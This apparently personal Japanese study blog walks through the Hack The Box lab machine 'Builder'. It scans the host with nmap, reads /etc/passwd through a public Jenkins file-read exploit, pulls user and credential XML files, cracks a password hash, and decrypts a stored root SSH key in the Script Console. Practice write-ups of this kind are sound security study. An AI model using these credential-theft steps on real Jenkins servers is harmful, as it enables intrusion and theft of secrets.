家studyをつづって

IT技術やセキュリティで勉強したことをつづっています。

【Hack The Box】builder

目次

 

 

 

偵察/スキャン

nmapでスキャンします。

-p-でスキャンし、確認できたポートに詳細なスキャンを行います。

┌──(kali㉿kali)-[~/htb/builder]
└─$ sudo nmap -sC -sV -A -O -p22,8080 10.10.11.10
[sudo] kali のパスワード:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-27 11:41 JST
Nmap scan report for 10.10.11.10
Host is up (0.21s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
8080/tcp open  http    Jetty 10.0.18
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-title: Dashboard [Jenkins]
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: Jetty(10.0.18)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 5.0 (97%), Linux 4.15 - 5.8 (96%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.5 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 8080/tcp)
HOP RTT       ADDRESS
1   206.33 ms 10.10.14.1
2   206.17 ms 10.10.11.10

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.91 seconds

TCP/8080の調査

http://10.10.11.10:8080にアクセスすると以下のようなページが表示されます。

ブラウザでアクセスした様子

画面の右下の方にバージョン情報が記載されており、そのバージョンで検索するとexploitが見つかります。

www.exploit-db.com

 

上記のexploitでローカルファイルの読み取りができるようです。

/etc/passwdを読み取るとuid=1000でjenkinsが存在することがわかります。

┌──(kali㉿kali)-[~/htb/builder]
└─$ python3 51993.py -u http://10.10.11.10:8080
Press Ctrl+C to exit
File to download:
> /etc/passwd
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
root:x:0:0:root:/root:/bin/bash
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
jenkins:x:1000:1000::/var/jenkins_home:/bin/bash
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
File to download:

 

アクセス取得(ユーザフラグ)

上記の情報からユーザフラグは取得できます。

userfalg取得

 

権限昇格

Jenkinsの管理者パスワードは以下のディレクトリにあるということですがファイルは見つかりませんでした。

/var/jenkins_home/secrets/initialAdminPassword

boozallen.github.io

実行結果

Jenkinsではアカウント情報を以下のファイルに保存します。
内容を見ると「jennifer」が見つかります。

「/var/jenkins_home/users/users.xml」

jenniferのアカウント情報を取得

 

また、Jenkinsではユーザの認証情報が個別に保存されます。

/var/jenkins_home/users/<user directory>/config.xml

dev.to

 

ファイルの内容を読みとるとパスワードのハッシュ値が見つかります。

パスワードハッシュ確認

 

hashcatで解析するとパスワードが取得できます。

「princess」取得

上記の認証情報でJenkinsにログインできます。

ログイン成功

rootのSSH秘密鍵は見れませんでした。

更新のみ

cloud.hacktricks.xyz

 

上記のサイトを踏まえSSH秘密鍵を取得します。
以下のファイルより秘密鍵の情報を読み取れます。

/var/jenkins_home/credentials.xml

credentials.xml

Script Consoleで「println(hudson.util.Secret.decrypt("{privatekeyの内容}")」と入力し実行すると秘密鍵が取得できます。

rootキー取得

上記をファイルとして保存しパーミッションを修正してSSH接続するとrootが取得できました。

chmod 600 id_rsa

 

root取得

 

その他

zenn.dev